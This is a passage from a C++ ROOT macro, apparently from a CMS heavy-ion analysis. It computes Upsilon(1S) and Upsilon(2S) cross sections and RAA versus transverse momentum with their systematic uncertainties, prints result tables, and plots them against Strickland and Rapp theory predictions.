(binsPt2010[j]).c_str() << \" & \" << setprecision(3) << \n stat2S_aa_pt[j] << \" & \" <<\n syst2S_csaa_pt[j] << \" & \" <<\n syst2S_aa_pt[j] << \" & \" <<\n syst2S_aags_pt[j] << \" & \" <<\n syst2S_aamuid_pt[j] << \" & \" <<\n syst2S_aasta_pt[j] << \" & \" <<\n syst_taa << \" & \" <<\n syst_nmb << \" & \" <<\n tracking_aa <<\" \\\\\\\\ \" << endl;\n }\n\n ofRes<<\"2S PbPb Pt Bins | Cross section +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n ofRes << (binsPt2010[j]).c_str() << \" & \" << setprecision(3) << \n CS2S_aa_tnp_pt[j] << \" \\\\pm \"<<\n CS2S_aa_tnp_pte[j]<<\" \\\\pm \"<<\n CS2S_aa_tnp_pts[j]<<\" \\\\pm \"<<\n CS2S_aa_tnp_pt[j]*systXS_pp_glob << \" \\\\\\\\\"\n\t << endl;\n }\n \n ///5.c. Y(2S) pp Large\n ofSyst <<\"2S pp large Pt Bins | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.lumi +/- syst.trk\"<<endl;\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n ofSyst << (binsPt2010[j]).c_str() << \" & \" << setprecision(3) << \n stat2S_ppL_pt[j] << \" & \" <<\n syst2S_csppL_pt[j] << \" & \" <<\n syst2S_pp_ptLarge[j] << \" & \" <<\n syst2S_ppLgs_pt[j] << \" & \" <<\n syst2S_ppLmuid_pt[j] << \" & \" <<\n syst2S_ppLsta_pt[j] << \" & \" <<\n syst_lumi << \" & \" <<\n tracking_pp <<\" \\\\\\\\ \" << endl;\n }\n ofRes<<\"2S pp Pt Large Bins | Cross section +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n ofRes << (binsPt2010[j]).c_str() << \" & \" << setprecision(3) << \n CS2S_ppL_tnp_pt[j] << \" \\\\pm \"<<\n CS2S_ppL_tnp_pte[j]<<\" \\\\pm \"<<\n CS2S_ppL_tnp_pts[j]<<\" \\\\pm \"<<\n CS2S_ppL_tnp_pt[j]*systXS_pp_glob << \" \\\\\\\\\"\n\t << endl;\n }\n\n /// 6.a plot AA cross section\n gStyle->SetPadRightMargin(0.025); //overriding style for the pt-binned plots only, but will have to change again later...\n TCanvas *cptaa = new TCanvas(\"cptaa\",\"cptaa\"); \n cptaa->SetLogy();\n cptaa->cd();\n TF1 *f4Ptaa = new TF1(\"f4Ptaa\",\"10\",0,20);\n f4Ptaa->SetLineWidth(0);\n f4Ptaa->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\t\t\n f4Ptaa->GetYaxis()->SetTitle(\"#frac{1}{T_{AA}} #frac{d^{2}N}{dy dp_{T}} (nb/ GeV/c)\");\n \n f4Ptaa->GetXaxis()->SetTitleSize(gTextSize+0.01);\n f4Ptaa->GetXaxis()->SetTitleOffset(f4Ptaa->GetXaxis()->GetTitleOffset()*1.1);\n f4Ptaa->GetYaxis()->SetTitleSize(gTextSize);\n f4Ptaa->GetYaxis()->SetLabelSize(0.8*f4Ptaa->GetYaxis()->GetLabelSize()); // Y axis title is fat\n f4Ptaa->GetYaxis()->SetTitleOffset(1.65);\n f4Ptaa->GetYaxis()->SetRangeUser(0.0001,0.2);\n //f4Ptaa->GetYaxis()->SetRangeUser(0.01,.09);\n f4Ptaa->GetXaxis()->CenterTitle(kTRUE);\n f4Ptaa->Draw();\n TGraphErrors *gpt1TNPaa = new TGraphErrors(nPtBins_2013,pt,CS1S_aa_tnp_pt,0,CS1S_aa_tnp_pte);\n gpt1TNPaa->SetMarkerColor(color1Saa);\n gpt1TNPaa->SetMarkerStyle(symbol1S);\n gpt1TNPaa->SetMarkerSize(markerSize);\n TGraphErrors *gpt1circleaa = new TGraphErrors(nPtBins_2013,pt,CS1S_aa_tnp_pt,0,CS1S_aa_tnp_pte);\n gpt1circleaa->SetMarkerStyle(symbol1Sc);\n gpt1circleaa->SetMarkerSize(markerSize);\n gpt1circleaa->SetLineColor(kBlack);\n gpt1circleaa->SetLineWidth(2);\n TGraphErrors *gPt1aasyst = new TGraphErrors(nPtBins_2013,pt,CS1S_aa_tnp_pt,pte,CS1S_aa_tnp_pts);\n gPt1aasyst->SetLineColor(color1Saa);\n gPt1aasyst->SetFillStyle(0);\n gPt1aasyst->SetLineWidth(2);\n gPt1aasyst->SetMarkerSize(0);\n gPt1aasyst->Draw(\"2\");\n gpt1TNPaa->Draw(\"pe\");\n gpt1circleaa->Draw(\"p\");\n TGraphErrors *gpt2TNPaa = new TGraphErrors(nPtBins_2010,pt2010,CS2S_aa_tnp_pt,0,CS2S_aa_tnp_pte);\n gpt2TNPaa->SetMarkerColor(color2Saa);\n gpt2TNPaa->SetMarkerStyle(symbol2S);\n gpt2TNPaa->SetMarkerSize(markerSize);\n TGraphErrors *gpt2circleaa = new TGraphErrors(nPtBins_2010,pt2010,CS2S_aa_tnp_pt,0,CS2S_aa_tnp_pte);\n gpt2circleaa->SetMarkerStyle(symbol2Sc);\n gpt2circleaa->SetMarkerSize(markerSize);\n gpt2circleaa->SetLineColor(kBlack);\n gpt2circleaa->SetLineWidth(2);\n TGraphErrors *gPt2aasyst = new TGraphErrors(nPtBins_2010,pt2010,CS2S_aa_tnp_pt,pt2010e,CS2S_aa_tnp_pts);\n gPt2aasyst->SetLineColor(color2Saa);\n gPt2aasyst->SetFillStyle(0);\n gPt2aasyst->SetLineWidth(2);\n gPt2aasyst->SetMarkerSize(0);\n gPt2aasyst->Draw(\"2\");\n gpt2TNPaa->Draw(\"pe\");\n gpt2circleaa->Draw(\"p\");\n TLegend *legend_csaapt = new TLegend(0.22,0.15,0.45,0.28);\n legend_csaapt->SetTextSize(gTextSize);\n legend_csaapt->SetFillStyle(0);\n legend_csaapt->SetFillColor(0);\n legend_csaapt->SetBorderSize(0);\n legend_csaapt->SetTextFont(42);\n legend_csaapt->AddEntry(gpt1TNPaa,\"#varUpsilon(1S) \",\"pe\"); \n legend_csaapt->AddEntry(gpt2TNPaa,\"#varUpsilon(2S) \",\"pe\");\n legend_csaapt->Draw();\n \n\n if (!plotLin && !plotBox) {\n TLatex latexptaa;\n latexptaa.SetTextSize(gTextSize);\n latexptaa.SetTextFont(42);\n TLatex *latexpttxtaa = latexptaa.DrawLatex(15.7,0.01,\"|y| < 2.4\");\n latexpttxtaa->DrawLatex(1.5,0.0005,Form(\"Global uncertainty: %.1f\",100*systXS_aa_glob));\n latexpttxtaa->DrawLatex(10.6,0.0005,\"%\"); /// \n }\n\n CMS_lumi(cptaa,104,33);\n cptaa->Update();\n cptaa->RedrawAxis();\n cptaa->GetFrame()->Draw();\n cptaa->SaveAs(basedir2 + TString(\"/CS_aa_Pt.pdf\"));\n cptaa->SaveAs(basedir2 + TString(\"/CS_aa_Pt.png\"));\n cptaa->SaveAs(basedir1 + TString(\"/pdf/Xsection_aaNS_Pt.pdf\"));\n cptaa->SaveAs(basedir1 + TString(\"/png/Xsection_aaNS_Pt.png\"));\n\n if (plotLin)\n {\n cptaa->SetLogy(0);\n legend_csaapt->SetX1NDC(0.77); legend_csaapt->SetX2NDC(1.); legend_csaapt->SetY1NDC(0.50); legend_csaapt->SetY2NDC(0.67); legend_csaapt->Draw();\n TLatex latexptaaLin;\n latexptaaLin.SetTextSize(gTextSize);\n latexptaaLin.SetTextFont(42);\n TLatex *latexpttxtaaLin = latexptaaLin.DrawLatex(15.7,0.037,\"|y| < 2.4\");\n if (!plotBox){\n\t latexpttxtaaLin->DrawLatex(1.5,0.004,Form(\"Global uncertainty: %.1f\",100*systXS_aa_glob));\n\t latexpttxtaaLin->DrawLatex(10.5,0.004,\"%\"); /// \n }\n cptaa->cd();\n gPad->Update();\n f4Ptaa->GetYaxis()->SetRangeUser(0.,0.05);\n f4Ptaa->GetYaxis()->SetTitleOffset(1.75);\n f4Ptaa->GetYaxis()->SetTitleSize(0.04);\n f4Ptaa->GetYaxis()->SetLabelSize(0.8*f4Ptaa->GetYaxis()->GetLabelSize());\n gPad->Update();\n gPad->RedrawAxis();\n gPad->GetFrame()->Draw();\n cptaa->SaveAs(basedir2 + TString(\"/CSNS_aaPt_lin.pdf\"));\n cptaa->SaveAs(basedir2 + TString(\"/CSNS_aaPt_lin.png\"));\n cptaa->SaveAs(basedir1 + TString(\"/pdf/Xsection_aaNS_Pt_lin.pdf\"));\n cptaa->SaveAs(basedir1 + TString(\"/png/Xsection_aaNS_Pt_lin.png\"));\n }\n\n cptaa->Close();\n\n\n \n ///===============================\n /// RAA vs Pt\n ///===============================\n /// 1. Define variables\n /// 2. Define syst variables\n /// 3. Compute the syst\n /// 4. Compute the CS.\n /// 5. Print the outputs\n /// 6. Draw and save\n /// 7. Draw the theory comparisons if wanted. and save.\n ///-------------------------------\n /// 1.a. Y(1S)\n float RAA_1S_tnp_pt[nPtBins_2013] = {};\n float RAA_1S_tnp_pte[nPtBins_2013] = {};\n float RAA_1S_tnp_pts[nPtBins_2013] = {};\n /// 1.b. Y(2S)\n float RAA_2S_tnp_pt[nPtBins_2010] = {};\n float RAA_2S_tnp_pte[nPtBins_2010] = {};\n float RAA_2S_tnp_pts[nPtBins_2010] = {};\n /// 1.c. Y(1S) large\n float RAA_1S_tnp_ptL[nPtBins_2010] = {};\n float RAA_1S_tnp_ptLe[nPtBins_2010] = {};\n float RAA_1S_tnp_ptLs[nPtBins_2010] = {};\n /// 2.a Y(1S)\n float syst1S_raa_pt[nPtBins_2013]={}; /// quadratic sum of all systematic uncertainties but the global scale uncertainties.\n /// 2.b Y(2S)\n float syst2S_raa_pt[nPtBins_2010]={}; /// quadratic sum\n /// 2.c Y(1S) large\n float syst1S_raa_ptL[nPtBins_2010]={}; /// quadratic sum\n //3.a Y(1S)\n // The global uncertainty is the same for all upsilons (vs. pt and y)\n float systXS_raa_glob = sqrt(pow(tracking_pp,2)+pow(tracking_aa,2)+pow(L_pp_e,2)+pow(T_AA_e,2)+pow(syst_nmb,2));\n for(int i =0 ; i<nPtBins_2013 ; i++)\n {\n syst1S_raa_pt[i]=sqrt(pow(stat1S_pp_pt[i],2)+syst1S_pptnp_pt[i]*syst1S_pptnp_pt[i]+syst1S_pp_pt[i]*syst1S_pp_pt[i]+pow(syst1S_ppgs_pt[i],2)+syst1S_aatnp_pt[i]*syst1S_aatnp_pt[i]+syst1S_aa_pt[i]*syst1S_aa_pt[i]+pow(syst1S_aags_pt[i],2)); /// all the ones varying point-to-point, and nothing else:\n // pp_fit, pp_gs, pp_tnp, pp_stat, aa_fit, aa_gs, aa_tnp (7 sources).\n // In other words, this is: stat_pp +/- syst.cspp +/- syst.csaa\n }\n //3.b Y(2S)\n for(int i =0 ; i<nPtBins_2010 ; i++)\n {\n syst2S_raa_pt[i]=sqrt(pow(stat2S_ppL_pt[i],2)+syst2S_ppLtnp_pt[i]*syst2S_ppLtnp_pt[i]+syst2S_pp_ptLarge[i]*syst2S_pp_ptLarge[i]+pow(syst2S_ppLgs_pt[i],2)+syst2S_aatnp_pt[i]*syst2S_aatnp_pt[i]+syst2S_aa_pt[i]*syst2S_aa_pt[i]+pow(syst2S_aags_pt[i],2)); /// all the ones varying point-to-point\n }\n /// 4.a Y(1S)\n for(int i = 0 ; i<nPtBins_2013 ; i++)\n {\n RAA_1S_tnp_pt[i]=CS1S_aa_tnp_pt[i]/CS1S_pp_tnp_pt[i];\n RAA_1S_tnp_pte[i]=computeRatioError( CS1S_aa_tnp_pt[i] , CS1S_pp_tnp_pt[i], CS1S_aa_tnp_pte[i] , 0);\n RAA_1S_tnp_pts[i]=RAA_1S_tnp_pt[i]*syst1S_raa_pt[i];\n }\n /// 4.b Y(2S)\n for(int i = 0 ; i<nPtBins_2010 ; i++)\n {\n RAA_2S_tnp_pt[i]=CS2S_aa_tnp_pt[i]/CS2S_ppL_tnp_pt[i];\n RAA_2S_tnp_pte[i]=computeRatioError( CS2S_aa_tnp_pt[i] , CS2S_ppL_tnp_pt[i], CS2S_aa_tnp_pte[i] , 0);\n RAA_2S_tnp_pts[i]=RAA_2S_tnp_pt[i]*syst2S_raa_pt[i];\n }\n /// 5.a Y(1S)\n //// for the printing of the RAA sources of syst, we have:\n //// 7 sources varying point by point (tnp,fit,gs)_pp/aa + stat pp. but we may want to split the tnp syst to see how all the systematics compare (sta_aa vs sta_pp, etc). so there's a lot of columns. I will think about a nice way to put all this in tables\n ofSyst <<\"1S RAA Pt Bins | stat err. | syst err. = syst.csaa = (syst.fit +/- syst.gs +/- syst.muid +/- syst.sta) +/- stat.pp +/- syst.cspp = ( syst.pp.fit +/- syst.pp.gs +/- syst.pp.muid +/- syst.pp.sta) | syst glob. = +/- syst.taa +/- syst.trk.aa +/- syst.nmb +/- syst.lumi +/- syst.trk.pp\"<<endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofSyst << (binsPt[j]).c_str() << \" & \" << setprecision(2) << \n\t stat1S_aa_pt[j] << \" & \" <<\n\t syst1S_raa_pt[j] << \" & \" <<\n\t syst1S_csaa_pt[j] << \" & \" <<\n\t syst1S_aa_pt[j] << \" & \" <<\n\t syst1S_aags_pt[j] << \" & \" <<\n\t syst1S_aamuid_pt[j] << \" & \" <<\n\t syst1S_aasta_pt[j] << \" & \" <<\n\t stat1S_pp_pt[j] << \" & \" <<\n\t syst1S_cspp_pt[j] << \" & \" <<\n\t syst1S_pp_pt[j] << \" & \" <<\n\t syst1S_ppgs_pt[j] << \" & \" <<\n\t syst1S_ppmuid_pt[j] << \" & \" <<\n\t syst1S_ppsta_pt[j] << \" & \" <<\n\t systXS_raa_glob << \" & \" <<\n\t syst_taa << \" & \" <<\n\t tracking_aa << \" & \" <<\n\t syst_nmb << \" & \" <<\n\t syst_lumi << \" & \" <<\n\t tracking_pp <<\" \\\\\\\\ \" << endl;\n }\n /// for tables\n ofRes<<\"1S RAA Pt Bins | RAA +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofRes << (binsPt[j]).c_str() << \" & \" << setprecision(3) << \n\t RAA_1S_tnp_pt[j] << \" \\\\pm \"<<\n\t RAA_1S_tnp_pte[j]<<\" \\\\pm \"<<\n\t RAA_1S_tnp_pts[j]<<\" \\\\pm \"<<\n\t RAA_1S_tnp_pt[j]*systXS_raa_glob << \" \\\\\\\\\"\n\t << endl;\n }\n /// for plots, to share with your friends on facebook\n ofplot<<\"float raa1Spt[\"<<nPtBins_2013<<\"]={\";\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofplot <<RAA_1S_tnp_pt[j]; if (j==nPtBins_2013-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float raa1Spt_e[\"<<nPtBins_2013<<\"]={\";\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofplot <<RAA_1S_tnp_pte[j]; if (j==nPtBins_2013-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float raa1Spt_s[\"<<nPtBins_2013<<\"]={\";\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofplot <<RAA_1S_tnp_pts[j]; if (j==nPtBins_2013-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float ptbin[\"<<nPtBins_2013<<\"]={\";\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofplot <<pt[j]; if (j==nPtBins_2013-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float ptbine[\"<<nPtBins_2013<<\"]={\";\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n ofplot <<pte[j]; if (j==nPtBins_2013-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n \n /// 5.b Y(2S)\n ofSyst <<\"2S RAA Pt Bins | stat err. | syst err. = syst.csaa = (syst.fit +/- syst.gs +/- syst.muid +/- syst.sta) +/- stat.pp +/- syst.cspp = ( syst.pp.fit +/- syst.pp.gs +/- syst.pp.muid +/- syst.pp.sta) | syst glob. = +/- syst.taa +/- syst.trk.aa +/- syst.nmb +/- syst.lumi +/- syst.trk.pp\"<<endl;\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n ofSyst << (binsPt2010[j]).c_str() << \" & \" << setprecision(2) << \n\t stat2S_aa_pt[j] << \" & \" <<\n\t syst2S_raa_pt[j] << \" & \" <<\n\t syst2S_csaa_pt[j] << \" & \" <<\n\t syst2S_aa_pt[j] << \" & \" <<\n\t syst2S_aags_pt[j] << \" & \" <<\n\t syst2S_aamuid_pt[j] << \" & \" <<\n\t syst2S_aasta_pt[j] << \" & \" <<\n\t stat2S_ppL_pt[j] << \" & \" <<\n\t syst2S_csppL_pt[j] << \" & \" <<\n\t syst2S_pp_ptLarge[j] << \" & \" <<\n\t syst2S_ppLgs_pt[j] << \" & \" <<\n\t syst2S_ppLmuid_pt[j] << \" & \" <<\n\t syst2S_ppLsta_pt[j] << \" & \" <<\n\t systXS_raa_glob << \" & \" <<\n\t syst_taa << \" & \" <<\n\t tracking_aa << \" & \" <<\n\t syst_nmb << \" & \" <<\n\t syst_lumi << \" & \" <<\n\t tracking_pp <<\" \\\\\\\\ \" << endl;\n }\n /// for tables\n ofRes<<\"2S RAA Pt Bins | RAA +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n ofRes << (binsPt2010[j]).c_str() << \" & \" << setprecision(3) << \n\t RAA_2S_tnp_pt[j] << \" \\\\pm \"<<\n\t RAA_2S_tnp_pte[j]<<\" \\\\pm \"<<\n\t RAA_2S_tnp_pts[j]<<\" \\\\pm \"<<\n\t RAA_2S_tnp_pt[j]*systXS_raa_glob << \" \\\\\\\\\"\n\t << endl;\n }\n\n /// for plots, to share with your friends on facebook\n ofplot<<\"float raa2Spt[\"<<nPtBins_2010<<\"]={\";\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n ofplot <<RAA_2S_tnp_pt[j]; if (j==nPtBins_2010-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float raa2Spt_e[\"<<nPtBins_2010<<\"]={\";\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n ofplot <<RAA_2S_tnp_pte[j]; if (j==nPtBins_2010-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float raa2Spt_s[\"<<nPtBins_2010<<\"]={\";\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n ofplot <<RAA_2S_tnp_pts[j]; if (j==nPtBins_2010-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n } \n ofplot<<\"float ptbin2[\"<<nPtBins_2010<<\"]={\";\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n ofplot <<pt2010[j]; if (j==nPtBins_2010-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float ptbin2e[\"<<nPtBins_2010<<\"]={\";\n for(int j =0 ; j<nPtBins_2010 ; j++)\n {\n ofplot <<pt2010e[j]; if (j==nPtBins_2010-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n \n // 6. RAA pt plot\n\n\n \n TCanvas *cRaapt = new TCanvas(\"cRaapt\",\"cRaapt\"); \n cRaapt->cd();\n TF1 *f4RaaPt = new TF1(\"f4RaaPt\",\"1\",0,20);\n f4RaaPt->SetLineWidth(1);\n f4RaaPt->SetLineColor(kBlack);\n f4RaaPt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\n f4RaaPt->GetYaxis()->SetTitle(\"R_{AA}\");\n f4RaaPt->GetXaxis()->SetTitleOffset(f4RaaPt->GetXaxis()->GetTitleOffset()*1.1);\n f4RaaPt->GetXaxis()->SetTitleSize(gTextSize+0.01);\n f4RaaPt->GetYaxis()->SetRangeUser(0.,1.2);\n f4RaaPt->GetXaxis()->CenterTitle(kTRUE);\n f4RaaPt->Draw();\n TGraphErrors *gpt1TNPRAA = new TGraphErrors(nPtBins_2013,pt,RAA_1S_tnp_pt,0,RAA_1S_tnp_pte);\n gpt1TNPRAA->SetMarkerColor(color1Sraa);\n gpt1TNPRAA->SetMarkerStyle(symbol1S);\n gpt1TNPRAA->SetMarkerSize(markerSize);\n TGraphErrors *gpt1circleRAA = new TGraphErrors(nPtBins_2013,pt,RAA_1S_tnp_pt,0,RAA_1S_tnp_pte);\n gpt1circleRAA->SetMarkerStyle(symbol1Sc);\n gpt1circleRAA->SetMarkerSize(markerSize);\n gpt1circleRAA->SetLineColor(kBlack);\n gpt1circleRAA->SetLineWidth(2);\n TGraphErrors *gPt1RAAsyst = new TGraphErrors(nPtBins_2013,pt,RAA_1S_tnp_pt,pte,RAA_1S_tnp_pts);\n gPt1RAAsyst->SetLineColor(color1Sraa);\n gPt1RAAsyst->SetFillStyle(0);\n gPt1RAAsyst->SetLineWidth(2);\n gPt1RAAsyst->SetMarkerSize(0);\n \n TLegend *legR3 = new TLegend(0.2,0.78,0.8,0.9);\n TLegend *legR2= new TLegend(0.2,0.51,0.8,0.8);\n\n if (plug==0){\n // drawing theory stuff\n //M.Strickland data part\n ////Strickland comparisons are now based on his '5TeV predictions' paper, which has 2.76 as a reference. The advantage is basically more points on the prediction curve, except on the pt curve. Check out https://arxiv.org/src/1605.03561v1/anc\n float pt_th[6]; float pt2_th[6];\n float raa1Spt_the1x0[6], raa1Spt_the2x0[6], raa1Spt_the3x0[6];\n float raa2Spt_the1x0[6], raa2Spt_the2x0[6], raa2Spt_the3x0[6];\n ifstream ipt1Sx0;\n ifstream ipt2Sx0;\n // this is the input file for 1Srap and xi=0\n ipt1Sx0.open(\"Strick_Pt_1S_xi0.tsv\");\n ipt2Sx0.open(\"Strick_Pt_2S_xi0.tsv\");\n for (int i=0; i<6;i++){\n ipt1Sx0>> pt_th[i]>> raa1Spt_the1x0[i]>> raa1Spt_the2x0[i]>> raa1Spt_the3x0[i];\n ipt2Sx0>> pt2_th[i]>> raa2Spt_the1x0[i]>> raa2Spt_the2x0[i]>> raa2Spt_the3x0[i];\n }\n TGraph *sups1Spt1x0 = new TGraph(5,pt_th,raa1Spt_the1x0);\n sups1Spt1x0->SetLineWidth(2);\n sups1Spt1x0->SetLineColor(color1Sraa);\n sups1Spt1x0->SetLineStyle(1);\n sups1Spt1x0->Draw(\"l same\");\n TGraph *sups1Spt2x0 = new TGraph(5,pt_th,raa1Spt_the2x0);\n sups1Spt2x0->SetLineWidth(2);\n sups1Spt2x0->SetLineColor(color1Sraa);\n sups1Spt2x0->SetLineStyle(2);\n sups1Spt2x0->Draw(\"l same\");\n TGraph *sups1Spt3x0 = new TGraph(5,pt_th,raa1Spt_the3x0);\n sups1Spt3x0->SetLineWidth(2);\n sups1Spt3x0->SetLineColor(color1Sraa);\n sups1Spt3x0->SetLineStyle(3);\n sups1Spt3x0->Draw(\"l same\");\n TGraph *sups2Spt1x0 = new TGraph(3,pt2_th,raa2Spt_the1x0);\n sups2Spt1x0->SetLineWidth(2);\n sups2Spt1x0->SetLineColor(color2Sraa);\n sups2Spt1x0->SetLineStyle(1);\n sups2Spt1x0->Draw(\"l same\");\n TGraph *sups2Spt2x0 = new TGraph(3,pt2_th,raa2Spt_the2x0);\n sups2Spt2x0->SetLineWidth(2);\n sups2Spt2x0->SetLineColor(color2Sraa);\n sups2Spt2x0->SetLineStyle(2);\n sups2Spt2x0->Draw(\"l same\");\n TGraph *sups2Spt3x0 = new TGraph(3,pt2_th,raa2Spt_the3x0);\n sups2Spt3x0->SetLineWidth(2);\n sups2Spt3x0->SetLineColor(color2Sraa);\n sups2Spt3x0->SetLineStyle(3);\n sups2Spt3x0->Draw(\"l same\");\n\n legR3->SetBorderSize(0);\n legR3->SetTextSize(gTextSize-0.006);\n legR3->SetTextFont(42);\n legR3->SetLineColor(0);\n legR3->SetLineStyle(2);\n legR3->SetLineWidth(1);\n legR3->SetFillColor(0);\n legR3->SetFillStyle(0);\n legR3->SetHeader(\"Strickland et al., Universe 2016, 2(3), 16\");\n legR2->SetBorderSize(0);\n legR2->SetTextSize(gTextSize-0.006);\n legR2->SetTextFont(42);\n legR2->SetLineColor(0);\n legR2->SetLineStyle(1);\n legR2->SetLineWidth(2);\n legR2->SetFillColor(0);\n legR2->SetFillStyle(0);\n legR2->SetHeader(\"\");\n legR2->AddEntry(sups1Spt3x0,\" 4#pi#eta/s = 3\",\"L\");\n legR2->AddEntry(sups1Spt2x0,\" 4#pi#eta/s = 2\",\"L\");\n legR2->AddEntry(sups1Spt1x0,\" 4#pi#eta/s = 1\",\"L\");\n \n\n legR3->Draw();\n } \n gPt1RAAsyst->Draw(\"2\");\n gpt1TNPRAA->Draw(\"pe\");\n gpt1circleRAA->Draw(\"p\");\n TGraphErrors *gpt2TNPRAA = new TGraphErrors(nPtBins_2010,pt2010,RAA_2S_tnp_pt,0,RAA_2S_tnp_pte);\n gpt2TNPRAA->SetMarkerColor(color2Sraa);\n gpt2TNPRAA->SetMarkerStyle(symbol2S);\n gpt2TNPRAA->SetMarkerSize(markerSize);\n TGraphErrors *gpt2circleRAA = new TGraphErrors(nPtBins_2010,pt2010,RAA_2S_tnp_pt,0,RAA_2S_tnp_pte);\n gpt2circleRAA->SetMarkerStyle(symbol2Sc);\n gpt2circleRAA->SetMarkerSize(markerSize);\n gpt2circleRAA->SetLineColor(kBlack);\n gpt2circleRAA->SetLineWidth(2);\n TGraphErrors *gPt2RAAsyst = new TGraphErrors(nPtBins_2010,pt2010,RAA_2S_tnp_pt,pt2010e,RAA_2S_tnp_pts);\n gPt2RAAsyst->SetLineColor(color2Sraa);\n gPt2RAAsyst->SetFillStyle(0);\n gPt2RAAsyst->SetLineWidth(2);\n gPt2RAAsyst->SetMarkerSize(0);\n gPt2RAAsyst->Draw(\"2\");\n gpt2TNPRAA->Draw(\"pe\");\n gpt2circleRAA->Draw(\"p\");\n\n TLegend *legend_RAApt = new TLegend(0.24,0.53,0.6,0.65);\n legend_RAApt->SetTextSize(gTextSize);\n legend_RAApt->SetFillStyle(0);\n legend_RAApt->SetFillColor(0);\n legend_RAApt->SetBorderSize(0);\n legend_RAApt->SetTextFont(42);\n legend_RAApt->AddEntry(gpt1TNPRAA,\"#varUpsilon(1S) \",\"pe\");\n legend_RAApt->AddEntry(gpt2TNPRAA,\"#varUpsilon(2S) \",\"pe\");\n \n legR2->AddEntry(gpt1TNPRAA,\"#varUpsilon(1S) \",\"pe\");\n legR2->AddEntry(gpt2TNPRAA,\"#varUpsilon(2S) \",\"pe\");\n if(plug!=0){ legend_RAApt->Draw();} else {\n legR2->Draw();\n }\n \n // Cent. 0-100 %\n TLatex latexptRaa;\n latexptRaa.SetTextSize(gTextSize-0.005);\n latexptRaa.SetTextFont(42);\n latexptRaa.DrawLatex(10,0.7,\"Cent. 0-100%, |y| < 2.4\"); // y=1.2 before\n if (!plotBox) {\n latexptRaa.DrawLatex(1.5,0.83,Form(\"Global uncertainty: %.1f\",100*systXS_raa_glob));\n latexptRaa.DrawLatex(10.5,0.83,\"%\"); /// y=1.1 before\n } else{\n /// plotBox goes here.\n TBox *boxPt = new TBox(19.2,1-systXS_raa_glob,20,1+systXS_raa_glob); \n boxPt->SetFillColor(kGray);\n boxPt->Draw();\n }\n CMS_lumi(cRaapt,103,33);\n cRaapt->Update();\n cRaapt->RedrawAxis();\n cRaapt->GetFrame()->Draw();\n \n if (plug==0){\n cRaapt->SaveAs(basedir2 + TString(\"/RAA_Pt_Strickland.pdf\"));\t \n cRaapt->SaveAs(basedir2 + TString(\"/RAA_Pt_Strickland.png\"));\t \n cRaapt->SaveAs(basedir1 + TString(\"/pdf/RAA_Pt_Strickland.pdf\"));\n cRaapt->SaveAs(basedir1 + TString(\"/png/RAA_Pt_Strickland.png\"));\n }else{\n cRaapt->SaveAs(basedir2 + TString(\"/RAA_Pt.pdf\"));\n cRaapt->SaveAs(basedir2 + TString(\"/RAA_Pt.png\"));\n cRaapt->SaveAs(basedir1 + TString(\"/pdf/RAA_Pt.pdf\"));\n cRaapt->SaveAs(basedir1 + TString(\"/png/RAA_Pt.png\"));\n }\n \n cRaapt->Close();\n /// 7. Theory comparison plots.\n\n TCanvas *cRaaptRapp = new TCanvas(\"cRaaptRapp\",\"cRaaptRapp\"); \n cRaaptRapp->cd();\n TF1 *f4RaaPtRapp = new TF1(\"f4RaaPtRapp\",\"1\",0,20);\n f4RaaPtRapp->SetLineWidth(1);\n f4RaaPtRapp->SetLineColor(kBlack);\n f4RaaPtRapp->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\n f4RaaPtRapp->GetYaxis()->SetTitle(\"R_{AA}\");\n f4RaaPtRapp->GetXaxis()->SetTitleOffset(f4RaaPtRapp->GetXaxis()->GetTitleOffset()*1.1);\n f4RaaPtRapp->GetXaxis()->SetTitleSize(gTextSize+0.01);\n f4RaaPtRapp->GetYaxis()->SetRangeUser(0.,1.2);\n f4RaaPtRapp->GetXaxis()->CenterTitle(kTRUE);\n f4RaaPtRapp->Draw();\n \n \n if (plug==1){\n // //M.Rapp data part\n \n ifstream in_tamu1, in_tamu2;\n in_tamu1.open(\"tamu_pt1.dat\");\n in_tamu2.open(\"tamu_pt2.dat\");\n float ptTamu1[41], ptTamu2[41], raaPtTamu1_min[41], raaPtTamu1_max[41],raaPtTamu2_min[41], raaPtTamu2_max[41];\n float tamu1[41], tamu2[41], tamu1err[41], tamu2err[41];\n for (int i=0; i<41; i++) {\n\tin_tamu1 >> ptTamu1[i] >> raaPtTamu1_min[i] >> 